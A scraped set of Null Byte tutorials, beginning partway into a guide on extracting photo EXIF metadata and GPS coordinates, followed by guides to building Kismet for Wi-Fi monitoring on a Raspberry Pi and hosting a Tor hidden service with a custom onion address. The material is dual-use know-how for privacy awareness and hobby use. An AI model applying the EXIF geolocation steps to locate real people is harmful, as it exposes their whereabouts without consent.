can also include geolocation data, as exact coordinates, which is supplied by the device that took the photo. If the photo was taken on a phone, there is a much higher chance that it includes geotags.As it is in the output above, we've learned that the person who created this file is using aCanon EOS 60Dcamera, has a lens with a focal length of 17.0 mm, worked on the file in Lightroom, and uses a Mac computer. That's a lot from a simple image file!Don't Miss:Stop Your iPhone Photos from Broadcasting Your Location to OthersOption 2: Use Jeffrey's Image Metadata Viewer Web AppIf you're using a browser, there are two great free websites to extract Exif data. First, let's start with Jeffrey Friedl's Image Metadata Viewer over atexif.regex.info. The site does not use HTTPS, unfortunately. If you don't mind that, you can see the simple design is easy to use and supports a vast variety of formats, unlike the command line tool which only works with JPG files. So you can scan RAW images files like CR2 and DNG, PNG, and TIFF, to name a few.Upload a file or add its public URL, check the CAPTCHA, and hit "View Image Data."Once you scan a file, you should see a decent amount of information if it came from a smartphone. In my example below, a photo that's over two years old contained a GPS location.The actual amount of data captured takes up several pages and is quite extensive.EXIF Make samsung Camera Model Name SM-G920I Software G920IDVS3EPK1 Modify Date 2016:12:13 12:56:36 2 years, 3 months, 18 days, 15 hours, 41 minutes, 18 seconds ago Y Cb Cr Positioning Centered Exposure Time 1/24 F Number 1.90 Exposure Program Program AE ISO 200 Exif Version 0220 Date/Time Original 2016:12:13 12:56:36 2 years, 3 months, 18 days, 15 hours, 41 minutes, 18 seconds ago Create Date 2016:12:13 12:56:36 2 years, 3 months, 18 days, 15 hours, 41 minutes, 18 seconds ago Shutter Speed Value 1/24 Aperture Value 1.90 Brightness Value 0.27 Exposure Compensation 0 Max Aperture Value 1.9 Metering Mode Spot Flash No Flash Focal Length 4.3 mm Image Size 5,312 × 2,988 Maker Note Unknown (98 bytes binary data) User Comment Flashpix Version 0100 Color Space sRGB Exposure Mode Auto White Balance Auto Focal Length In 35mm Format 28 mm Scene Capture Type Standard Image Unique ID A16LLIC08SM A16LLIL02GM GPS Version ID 2.2.0.0 GPS Latitude Ref North GPS Latitude 34.040833 degrees GPS Longitude Ref West GPS Longitude 118.255000 degrees GPS Altitude Ref Below Sea Level GPS Altitude 0 m GPS Time Stamp 20:56:27 GPS Date Stamp 2016:12:13 2 years, 3 months, 19 days, 4 hours, 37 minutes, 54 seconds ago Image Width 512 Image Height 288 Compression JPEG (old-style) Orientation Rotate 90 CW Resolution 72 pixels/inch Thumbnail Length 11,484 Thumbnail Image (11,484 bytes binary data) MakerNotes Unknown 0x0001 0,100 Unknown 0x0002 73,728 Unknown 0x000c 0 Unknown 0x0010 undef Unknown 0x0040 0 Unknown 0x0050 1 Unknown 0x0100 0 Samsung Trailer 0x0a01 Name Image_UTC_Data Time Stamp 2016:12:13 12:56:36-08:00 2 years, 3 months, 18 days, 14 hours, 41 minutes, 18 seconds ago File — basic information derived from the file. File Type JPEG MIME Type image/jpeg Exif Byte Order Little-endian (Intel, II) Encoding Process Baseline DCT, Huffman coding Bits Per Sample 8 Color Components 3 File Size 3.5 MB File Type Extension jpg Image Size 5,312 × 2,988 Y Cb Cr Sub Sampling YCbCr4:2:2 (2 1) Composite This block of data is computed based upon other items. Some of it may be wildly incorrect, especially if the image has been resized. GPS Latitude 34.040833 degrees N GPS Longitude 118.255000 degrees W GPS Altitude 0 m Above Sea Level Aperture 1.90 GPS Date/Time 2016:12:13 20:56:27Z 2 years, 3 months, 18 days, 14 hours, 41 minutes, 27 seconds ago GPS Position 34.040833 degrees N, 118.255000 degrees W Megapixels 15.9 Shutter Speed 1/24 Light Value 5.4 Scale Factor To 35 mm Equivalent 6.5 Circle Of Confusion 0.005 mm Field Of View 65.5 deg Focal Length 4.3 mm (35 mm equivalent: 28.0 mm) Hyperfocal Distance 2.11 mOption 3: Use Ver Exif's Web AppOur second website, Ver Exif atverexif.com, spits out all of the Exif data after a scan, but it also comes with an option to strip metadata out of images. Removing the metadata is useful if you want to make sure an image you're sending doesn't contain data you didn't intend to send.Don't Miss:How to Hide Data in Audio Files Like Mr. RobotTo view Exif information, upload a file or add its public URL, then hit "View Exif." In my example, passing the same photo into this website, the output is much less, but it generates a handy map of where the photo was taken. The information is accurate, but not as big of a data dump as the Image Metadata Viewer web app.Interestingly, after I passed the test photo through the "Remove Exif" data option, I uploaded it to the first website to see if the metadata was truly removed. It turns out I can still tell it was taken on a Samsung device, so I don't recommend using this tool to strip metadata from your photos.Option 4: Use the EXIF Viewer Chrome ExtensionIn Google Chrome, you caninstall the EXIF Viewer extension, which will let you pull up the Exif data from any photo you load into the browser.Using browser add-ons to extract Exif data is even simpler than using a web-based tool. After installing and enabling the plug-in, we can right-click any image in the browser and select "Show EXIF data" to reveal any information the image contains.To test this out, I found a random image on a photo-sharing website and looked through the metadata provided by EXIF Viewer to find the type of camera that was used to take it.Option 5: Use the Exif Viewer Firefox Add-OnYou could alsoinstall the Exif Viewer add-on for Firefox, developed by Alan Raskin, which allows similar functionality as the Chrome extension above. After installing and enabling the add-on, right-click on an image in your browser, then click on "Exif Viewer."A pop-up window appears, where there's a slew of metadata to sort through. You can see the link to the image; in the GPS section you get links to open up the location on Google Maps, Bing Maps, and Mapquest; and all of the other helpful information in the Exif data.In general, browser extensions are a great way to tackle extracting Exif data, because you can also open photos in a browser window and use an extension to read the data inside.Metadata Reveals the Story Behind a PhotoWhile a photo may yield valuable information, the real value may be in what's encoded in the metadata. Accessing this data is easier than ever, so it's essential to be aware of what information you may be giving away when you send a photo.While many social media platforms and photo-hosting services do you the favor of stripping out this data, not all do. It's important to make sure you're not leaking this data if you don't intend to, and these tools can quickly help you identify any ways you might be leaking your location or other private data in photos you want to share online. Most importantly, make sure to disable geo-encoding on your phone if you don't want GPS coordinates burned into every image you take.I hope you enjoyed this guide to extracting hidden metadata from image files! If you have any questions about this tutorial on image OSINT or you have a comment, ask below or feel free to reach me on [email protected]'t Miss:How to Hide MacOS Payloads Inside Photo MetadataWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by Kody/Null ByteRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)How To:Top 10 Browser Extensions for Hackers & OSINT ResearchersHow To:Scrub the EXIF Data from Photos on Your Android Phone Before Sharing ThemHow To:Everything You Should Do Before Posting Protest Photos & Videos on Social MediaHow To:Wipe & Obfuscate Identifying Information in Your Protest Photos for More Anonymous SharingHow To:Find Target Location with an iPhone PictureHow To:Know Who's Not Who They Claim to Be OnlineHow To:Add Captions to Photos & Videos in iOS 14 to Make Searching by Metadata EasierHow To:Stop Your iPhone Photos from Broadcasting Your Location to OthersHow To:7 Privacy Tips for Photos & Videos on Your iPhoneHow To:Use automatic lens correction in Adobe Photoshop CS5How To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Completely Remove Your Hidden Personal Information from Digital PhotosHow To:Hack Forum Accounts with Password-Stealing PicturesHow To:Change This Privacy Setting Before You Share Any Pictures on Google PhotosAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Memory Full? Optimize the Photos on Your Samsung Galaxy S3 to Free Up Storage SpaceHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Recover Deleted Photos from Your iPhoneHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:The Easiest Way to View Exif Metadata for Photos on Your iPhoneHow To:Use the Magic Extractor tool to extract an image in Photoshop ElementsHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Timehop Breach Impacts Everyone Who's Ever Used the App — Here's How to Check What Info Leaked About YouNews:Microsoft Opens Access to Sensor Data on the HoloLens with 'Research Mode' UpdateHow To:Become a Master Problem Solver by Learning Data Analytics at HomeNews:The Government Is Stealing Your Data from Angry Birds, Candy Crush, Facebook, & Other Mobile AppsHow To:Remove Location Data from Photos & Videos You Share in iOS 13 to Keep Your Whereabouts PrivateNews:Zappar Extends AR Services to EVRYTHNG IoT PlatformHow To:Build a fume extractor for soldering in an Altoids tinHow To:Find metadata in Word docs and jpegs supporting ExifNews:Finding Hidden Metadata in Images (Oh, the Possibilities)How To:Retrieve GPS Data from JPG Image Files Using Exif and PHPHow To:7 Methods for Concealing Valuable Items from ThievesNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsWorld’s Total CPU Power:One Human BrainNews:Gathering Data for Fun and ProfitHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsEasily Access MS Tutorials:Microsoft's Desktop Player
Raspberry Pi: WiFi Analyzer « Null Byte :: WonderHowTo
It has been a while since my last Raspberry Pitutorial, but now I am back with another tutorial. This one I should note isn't your typical tutorial, but as always lets boot up our Pi and wreck havoc.KismetAlthough there are many tools that can grab and capture network packets, Kismet is by far one of the best and thank goodness that we can install it on our Pi.We'll have to build Kismet ourselves from source code since the package in the Raspbian repository is ancient. The following are steps to build Kismet:First step is to add some developer headers and code libraries that Kismet relies on:sudo apt-get install libncurses5-dev libpcap-dev libpcre3-dev libnl-3-dev libpcap-dev libwireshark-dataNext, download the Kismet source code from the project's web page:wgethttp://www.kismetwireless.net/code/kismet-2013-03-R1b.tar.gzThere's probably a older version so pleas check the download page.3.Now extract the source tree and build the software:tar -xvf kismet-2013-03-R1b.tar.gzcd kismet-2013-03-R1b./configure --prefix=/usr --sysconfdir=/etc --with-suidgroup=pimakesudo make suidinstallI should note this install will eat up a hour of your time, please be patient. Once finished you may exit the source directory and delete it:cd .. && rm -rf kismet-2013-03-R1bPreparing Kismet for LaunchWhen a Wi-Fi adapter enters monitor mode, it means that it's not associated with any particular access point and is just listening for any Wi-Fi traffic that happens to whizz by in the air. However on Raspbian, there are utility applications running in the background that try to associate your adapter with Wi-Fi networks. I'm gonna show you how to disable these for the time being.Open up/etc/network/interfacesfor editing:sudo nano /etc/network/interfacesFind the block that starts withallow-hotplug wlan0and put a#character in front of each line:#allow-hotplug wlan0#iface wlan0 inet manual#wpa-roam /etc/wpa_supplicant/wpa_wupplicant.conf#iface dfault inet dhcpPressCtrl + Xto exit and pressywhen prompted and hitEnterkey to confirm the filename to write to. this wiil prevent,wpa_supplicantutility from interfering with Kismet.Now open up/etc/default/ifplugdfor editin:sudo nano /etc/default/ifplugd4.Find the line that saysINTERFACESand change it fromautotoetho0, then find the line that saysHOTPLUG_INTERFACESand change it from"all"to" ":INTERFACES="eth0"HOTPLUG_INTERFACES=" "This will prevent theifplugdfrom interfering.Now reboot the Pi. Once logged back in type:iwconfigThis will show that you adapter has not associated with any access points.Kismet SessionType:kismetand a colorful interface screen should show up and at first session Kismet will ask you a few questions. Use thetabkey andEnterkey to toggle between options and choose your options in general. SelectYesto start a Kismet server, then accept the default options for the Kismet server and selectStart.This is the crucial point where you'll find out if your particular Wi-FI adapter will successfully enter monitoring mode so that way Kismet can work its magic. If it isn't supported it will tell you almost right away.When you see messages saying about new detected networks starting to pop up in the log, you have successfully started your very first Kismet session. Now hit thetabto selectClose Console WIndow, and then pressingEnter.Your now looking at the main Kismet screen , which is composed of differentViewareas withNetwork Listingbeing the most prominent. You'll see any number of access points near the vicinity, including your own.The right-hand side of the screen is theGeneral Infoarea, which provides a grand overview of the Kismet session, and thePacket Graphacross the middle provides a real-time activity of the packet capture process.TheStatusarea at the bottom contains the latest messages from theKismet Serverconsole and makes it easy to spot when new access points are discovered and added to the list. There's a whole variety that you can do with Kismet, but those are for another day.ConclusionThat's the end of my first and last really long tutorial explaining Kismet in general. This could've been a tutorial on its own, since I know how hard it is to get Kismet to work properly. Of course, please give me some lovins and comment down below. Cheers. :DWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Build a Portable Pen-Testing Pi BoxOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Hack WiFi Using a WPS Pixie Dust AttackRaspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensRasberry Pi:IntroductionHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero W
How to Host Your Own Tor Hidden Service with a Custom Onion Address « Null Byte :: WonderHowTo
A mention of the deep web can bring to mind images of drugs, hackers, and other criminal activity. Despite the presence of these elements, theTornetwork is a valuable tool for preserving privacy and anonymity. And browsing the deep web and anyhidden servicescan be as simple as downloading theTor Browser.So what's a hidden service? It's pretty much the same thing as a website on the regular internet, only it uses Tor's technology to stay secure. In some cases, someone who creates a hidden service, also known as an onion service, can remain anonymous. Anyone can create a hidden service and make them accessible via a customonion address, as you'll soon see.Step 1: Understand How the Tor Network WorksAccessing the internet directly without a proxy, VPN, or other privacy service relays information in a relatively linear fashion. A device attached to the internet via a router follows a series of lookup requests for a specific URL or IP address and returns the content to the device which requested the information.The contents of the transmission may be encrypted using HTTPS, SSL, or another form of encryption. However, the requests are still directly connected to IP addresses on each end of the transaction and carried in a way that can be analyzed by an internet service provider. In short, your ISP can see where you go on the web.Simplified visualization of standard traffic.While the Tor network doesn't entirely bypass an internet service provider in the waya mesh net could, it does utilize a unique method of obfuscating traffic. Rather than directly requesting a webpage or other data by directly addressing a server by its IP, traffic routed over Tor sends the encrypted details of its requests to an entrance node from a list of retrieved nodes within the Tor network first.Don't Miss:How to Use ProtonMail More Securely Through the Tor NetworkThat traffic is then carried over several more hops to different nodes in the Tor network, before either reaching its destination within the Tor network or being sent back into the internet through an exit node.Visualization of Tor-style routing.Unfortunately, this entrance back into the internet from the Tor network poses a security and privacy risk. The content passed over the exit node is subject to the trustworthiness of the node itself, as the node has the same level of access to the details of a request as an ISP would. If the data is not encrypted at this point, it is subject to being captured and used maliciously,as demonstrated by Chloe in BADONIONS.To avoid the danger of using exit nodes, we can instead access or host a website which is accessible only and entirely through the Tor network, in the form of a hidden service. Rather than requesting a URL or IP address, the service will be accessible only through an "onion" address, which can only be discovered by its name within the Tor network.Step 2: Install the Tor BrowserThe Tor Browser is available from theTor Project's websitefor Windows, macOS, and Linux/Unix systems. It's even usable on Android devices, but we'll be focusing on the computer versions. Just download and install the version that's right for you. If using Linux, such asKali, you can install Tor more easily from the terminal usingapt:~$ sudo apt install torbrowser-launcher [sudo] password for kali: Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: tor tor-geoipdb torsocks Suggested packages: mixmaster tor-arm apparmor-utils obfs4proxy The following NEW packages will be installed: tor tor-geoipdb torbrowser-launcher torsocks 0 upgraded, 4 newly installed, 0 to remove and 568 not upgraded. Need to get 3,566 kB of archives. After this operation, 14.8 MB of additional disk space will be used. Do you want to continue? [Y/n] y Get:1 http://kali.download/kali kali-rolling/main amd64 tor amd64 0.4.3.5-1 [1,943 kB] Get:2 http://kali.download/kali kali-rolling/main amd64 tor-geoipdb all 0.4.3.5-1 [1,486 kB] Get:3 http://kali.download/kali kali-rolling/contrib amd64 torbrowser-launcher amd64 0.3.2-11 [61.1 kB] Get:4 http://kali.download/kali kali-rolling/main amd64 torsocks amd64 2.3.0-2+b1 [76.3 kB] Fetched 3,566 kB in 1s (3,181 kB/s) Selecting previously unselected package tor. (Reading database ... 376773 files and directories currently installed.) Preparing to unpack .../tor_0.4.3.5-1_amd64.deb ... Unpacking tor (0.4.3.5-1) ... Selecting previously unselected package tor-geoipdb. Preparing to unpack .../tor-geoipdb_0.4.3.5-1_all.deb ... Unpacking tor-geoipdb (0.4.3.5-1) ... Selecting previously unselected package torbrowser-launcher. Preparing to unpack .../torbrowser-launcher_0.3.2-11_amd64.deb ... Unpacking torbrowser-launcher (0.3.2-11) ... Selecting previously unselected package torsocks. Preparing to unpack .../torsocks_2.3.0-2+b1_amd64.deb ... Unpacking torsocks (2.3.0-2+b1) ... Setting up torbrowser-launcher (0.3.2-11) ... Setting up tor (0.4.3.5-1) ... Something or somebody made /var/lib/tor disappear. Creating one for you again. Something or somebody made /var/log/tor disappear. Creating one for you again. update-rc.d: We have no instructions for the tor init script. update-rc.d: It looks like a network service, we disable it. Setting up torsocks (2.3.0-2+b1) ... Setting up tor-geoipdb (0.4.3.5-1) ... Processing triggers for desktop-file-utils (0.24-1) ... Processing triggers for mime-support (3.64) ... Processing triggers for gnome-menus (3.36.0-1) ... Processing triggers for systemd (245.4-3) ... Processing triggers for man-db (2.9.1-1) ... Processing triggers for kali-menu (2020.2.2) ...Step 3: Browse Hidden ServicesAfter Tor installs, you can open "Tor Browser" from your applications, and it will automatically connect to the Tor network. On your first run, it may ask you to "Connect" to Tor or "Configure" it. Choose the former unless you're using a proxy or are in a region that bans Tor.Next, try browsing to a hidden service. They're not always easy to find, but we have alist of the top hidden services for Tor. Try out any of those as a test.Don't Miss:The Top 80+ Websites Available in the Tor NetworkWe can view our route through the Tor network by clicking the site's name in the URL bar where the (i) button is.On older versions, you can click on the drop-down arrow next to the onion icon in the upper left of the window. In the case of visiting an .onion site, we can only see the last relays and the "Onion site" listed in the circuit information.If you need more information on using the Tor Browser, you can check out our guide onusing Tor to remain anonymous in the dark web.More Info:How to Access the Dark Web While Staying Anonymous with TorStep 4: Host a ServerThe first step in configuring a Tor server will be setting up a way to serve HTTP content, just the same as a regular web server might. While we might choose to run a conventional web server at 0.0.0.0 so that it becomes accessible to the internet as a whole by its IP, we can bind our local server environment to 127.0.0.1 to ensure that it will be available only locally and through Tor.On a system where we can call a Python module directly, we might choose to use thehttp.servermodule. First, we need to be in the directory that contains the content we would like to host. If you just want to test it out with the bare minimum, create a new directory, and change into it.~$ mkdir tor_service ~$ cd tor_service ~/tor_service$Now, we can run a server directly from the command line. UsingPython 3andhttp.server, we can use the following string to bind to 127.0.0.1 and launch a server on port 8080.~/tor_service$ python3 -m http.server --bind 127.0.0.1 8080 Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...Either of these will serve as enough for a test server, but for any larger or more permanent project a full hosting stack will be more useful.Nginxprovides a server backend that can be more suitably hardened and secured against the potential threats against a hidden service, althoughApacheor other HTTP server software can certainly work. Just be sure that it's bound to 127.0.0.1 to prevent discovery through services such asShodan.Don't Miss:How to Find Vulnerable Webcams Across the Globe Using ShodanIf you haveFing network scanner, you can confirm this is working by running the following in a new terminal window.~$ fing -s 127.0.0.1 -o text,consoleYou should see output like the image below if your server is running. And just like that, a Fing scan shows us our server.Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ... 04:19:03 > Service scan on: 127.0.0.1 04:19:03 > Service scanning started. 04:19:09 > Detected service: 5432 (postgresql) 04:19:09 > Detected service: 8080 (http-proxy) 04:19:11 > Service scan completed in 7.720 seconds. ------------------------------------------------------------------------- | Scan result for localhost (127.0.0.1) | |-----------------------------------------------------------------------| | Port | Service | Description | |-----------------------------------------------------------------------| | 5432 | postgresql | PostgreSQL database server | | 8080 | http-proxy | Common HTTP proxy/second web server port | -------------------------------------------------------------------------To ensure that our server is functional, we'll want to test our local address (127.0.0.1) or "localhost" in a web browser by opening it as an address followed by a port number, as seen below.http://localhost:8080To make testing the server easier, it may be useful to create an "index.html" file in the directory from which the server is being run. In a new terminal, in your Tor directory, create the file.~/tor_service$ touch index.hmtlNext, use nano or another text editor to add some HTML to the file.~/tor_service$ nano index.htmlSomething as simple as this will work:<html> <body> Null Byte </body> </html>Exit withControl-X, typeY, thenEnterto save the file in nano. The result will look like the following image if it's working properly.With our local server environment configured and available at 127.0.0.1:8080, we can now start to link our server to the Tor network.Step 5: Create a Hidden ServiceFirst, we will need to install or confirm that the Tor service/daemon is installed. The standalone Tor service is an active separate of the Tor Browser package. For Linux/Unix, it'savailable here. On Ubuntu or Debian-based distros withaptpackage management, the following command should work assuming Tor is in the distro's repositories.~/tor_service$ sudo apt install tor [sudo] password for kali: Reading package lists... Done Building dependency tree Reading state information... Done tor is already the newest version (0.4.3.5-1). tor set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 568 not upgraded.To confirm the location of our Tor installation and configuration, we can usewhereis.~/tor_service$ whereis tor tor: /usr/bin/tor /usr/sbin/tor /etc/tor /usr/share/tor /usr/share/man/man1/tor.1.gzThis will show us a few of the directories which Tor uses for configuration. We're looking for our "torrc" file, which is most likely in /etc/tor. We can move to that directory withcd, as we run the command below.~/tor_service$ cd /etc/tor/ ~/etc/tor$Finally, confirm that "torrc" is present by simply runningls.~/etc/tor$ ls torrc torsocks.confIf the torrc file is present, we will want to edit it. We can useVim, emacs, or simply GNU nano to edit the file. To edit the file in nano, simply run the following in the terminal. If you're root, you can skip the sudo.~/etc/tor$ sudo nano torrcIn the file, we're looking for the section highlighted below. To find it quickly, useControl-Wto search for "location-hidden," hitEnter, and you should jump right to it.############### This section is just for location-hidden services ### ## Once you have configured a hidden service, you can look at the ## contents of the file ".../hidden_service/hostname" for the address ## to tell people. ## ## HiddenServicePort x y:z says to redirect requests on port x to the ## address y:z. #HiddenServiceDir /var/lib/tor/hidden_service/ #HiddenServicePort 80 127.0.0.1:80 #HiddenServiceDir /var/lib/tor/other_hidden_service/ #HiddenServicePort 80 127.0.0.1:80 #HiddenServicePort 22 127.0.0.1:22To direct Tor to our hidden service, we'll want to un-comment two lines.#HiddenServiceDir /var/lib/tor/hidden_service/ #HiddenServicePort 80 127.0.0.1:80To do this, we simply remove the "#" symbols at the beginning of those two lines. While we're here, we need to correct the port on which Tor looks for our server. If we're using port 8080, we'll want to correct the line from port 80 to port 8080 for the "#HiddenServicePort" line.############### This section is just for location-hidden services ### ## Once you have configured a hidden service, you can look at the ## contents of the file ".../hidden_service/hostname" for the address ## to tell people. ## ## HiddenServicePort x y:z says to redirect requests on port x to the ## address y:z. HiddenServiceDir /var/lib/tor/hidden_service/ HiddenServicePort 80 127.0.0.1:8080 #HiddenServiceDir /var/lib/tor/other_hidden_service/ #HiddenServicePort 80 127.0.0.1:80 #HiddenServicePort 22 127.0.0.1:22Write the changes withControl-X, typeY, thenEnterto exit.Step 6: Test the Tor ServiceWith the changes written to our torrc file and a server running at 127.0.0.1:8080, making our server accessible over Tor is as simple as starting the Tor service. We can do this from the command line by typing the following.~/etc/tor$ sudo tor Jul 10 19:20:44.992 [notice] Tor 0.4.3.5 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1g, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4. Jul 10 19:20:44.992 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning Jul 10 19:20:44.992 [notice] Read configuration file "/etc/tor/torrc". Jul 10 19:20:44.994 [notice] Opening Socks listener on 127.0.0.1:9050 Jul 10 19:20:44.994 [notice] Opened Socks listener on 127.0.0.1:9050 Jul 10 19:20:44.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip. Jul 10 19:20:45.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6. Jul 10 19:20:45.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't. Jul 10 19:20:45.000 [notice] Bootstrapped 0% (starting): Starting Jul 10 19:20:45.000 [notice] Starting with guard context "default" Jul 10 19:20:46.000 [notice] Bootstrapped 5% (conn): Connecting to a relay Jul 10 19:20:46.000 [notice] Bootstrapped 10% (conn_done): Connected to a relay Jul 10 19:20:46.000 [notice] Bootstrapped 14% (handshake): Handshaking with a relay Jul 10 19:20:46.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done Jul 10 19:20:46.000 [notice] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection Jul 10 19:20:46.000 [notice] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus Jul 10 19:20:46.000 [notice] Bootstrapped 30% (loading_status): Loading networkstatus consensus Jul 10 19:20:47.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. Jul 10 19:20:47.000 [notice] Bootstrapped 40% (loading_keys): Loading authority key certs Jul 10 19:20:47.000 [notice] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services. Jul 10 19:20:47.000 [notice] Bootstrapped 45% (requesting_descriptors): Asking for relay descriptors Jul 10 19:20:47.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6477, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.) Jul 10 19:20:47.000 [notice] Bootstrapped 50% (loading_descriptors): Loading relay descriptors Jul 10 19:20:48.000 [notice] The current consensus contains exit nodes. Tor can build exit and internal paths. Jul 10 19:20:49.000 [notice] Bootstrapped 56% (loading_descriptors): Loading relay descriptors Jul 10 19:20:50.000 [notice] Bootstrapped 62% (loading_descriptors): Loading relay descriptors Jul 10 19:20:50.000 [notice] Bootstrapped 67% (loading_descriptors): Loading relay descriptors Jul 10 19:20:50.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits Jul 10 19:20:50.000 [notice] Bootstrapped 80% (ap_conn): Connecting to a relay to build circuits Jul 10 19:20:50.000 [notice] Bootstrapped 85% (ap_conn_done): Connected to a relay to build circuits Jul 10 19:20:50.000 [notice] Bootstrapped 89% (ap_handshake): Finishing handshake with a relay to build circuits Jul 10 19:20:50.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits Jul 10 19:20:50.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit Jul 10 19:20:50.000 [notice] Bootstrapped 100% (done): DoneUpon starting Tor for the first time with our new configuration, an .onion address will be generated automatically. This information will be stored in "/var/lib/tor/hidden_service" (or another directory if specified in the torrc file). First, in a new directory, if you're not a root user, get root permissions.~$ sudo cd /var/lib/tor/hidden_service [sudo] password for kali: root@kali:/home/kali# kaliThen, we can move to the directory in a new terminal window with cd.root@kali:/home/kali# cd /var/lib/tor/hidden_service root@kali:/var/lib/tor/hidden_service#Next, runlsto ensure that both the "hostname" and "private_key" files are in the directoryroot@kali:/var/lib/tor/hidden_service# ls hostname private_keyThen, we can view our newly generated address by runningcat.root@kali:/var/lib/tor/hidden_service# cat hostname 4zkl7lz6w67gp46k4qmqahz4ydjewzihlymwy4vrfn2mnqd.onionThe string ending in .onion is our new hidden service address! While this one was automatically generated, we'll be able to customize it later to our preference.We can test that our service is accessible by opening it in Tor Browser. If the address resolves to your server, you've successfully hosted a hidden service!Step 7: Generate a Custom Onion AddressTo customize our onion address, we'll need to generate a new private key to match a custom hostname. Due to the nature of Tor addresses being partially hashes, to create a custom address, we'll need to brute-force the address we want.The more consecutive characters of a word or phrase we'd like to use, the longer it will take to generate. This time concern is somewhat of an exponential function, as the longer the sequence is, the generation time will become longer in folds, rather than in a linear way.Don't Miss:How to Transparently Route Traffic Through TorThere are several tools available for this task,EschalotandScallionbeing some of the more popular options. Scallion uses GPU-cracking to generate addresses, while Eschalot works using wordlists. For this tutorial, we'll use Eschalot.Begin by cloning the Eschalotgitrepository with the following commands in the terminal.~$ git clone https://github.com/ReclaimYourPrivacy/eschalot Cloning into 'eschalot'... remote: Enumerating objects: 4, done. remote: Counting objects: 100% (4/4), done. remote: Compressing objects: 100% (4/4), done. remote: Total 86 (delta 0), reused 1 (delta 0), pack-reused 82 Receiving objects: 100% (86/86), 513.40 KiB | 2.35 MiB/s, done. Resolving deltas: 100% (37/37), done.Next,cdinto the Eschalot directory, then runmaketo install Eschalot.~$ cd eschalot ~/eschalot$ make cc -std=c99 -O2 -fPIC -finline-functions -Wall -W -Wunused -pedantic -Wpointer-arith -Wreturn-type -Wstrict-prototypes -Wmissing-prototypes -Wshadow -Wcast-qual -Wextra -o eschalot eschalot.c -lpthread -lssl -lcrypto cc -std=c99 -O2 -fPIC -finline-functions -Wall -W -Wunused -pedantic -Wpointer-arith -Wreturn-type -Wstrict-prototypes -Wmissing-prototypes -Wshadow -Wcast-qual -Wextra -o worgen worgen.cTo generate a custom address, we can use a command like the one below. In this command,4is the number of CPU cores we wish to use, andnullis the prefix, or first characters, of the address we're looking for. The program will continue to generate addresses with this prefix and a variety of suffixes. We can stop the program at any time by pressingControl-C.~/eschalot$ ./eschalot -vct4 -p null Verbose, continuous, no digits, 4 threads, prefixes 4-4 characters long. Thread #1 started. Thread #2 started. Thread #3 started. Thread #4 started. Running, collecting performance data... Found a key for null (4) - nullb3pxvxj5rpjd.onion ---------------------------------------------------------------- nullb3pxvxj5rpjd.onion -----BEGIN RSA PRIVATE KEY----- ████████████████████████████████████████████████████████████████ 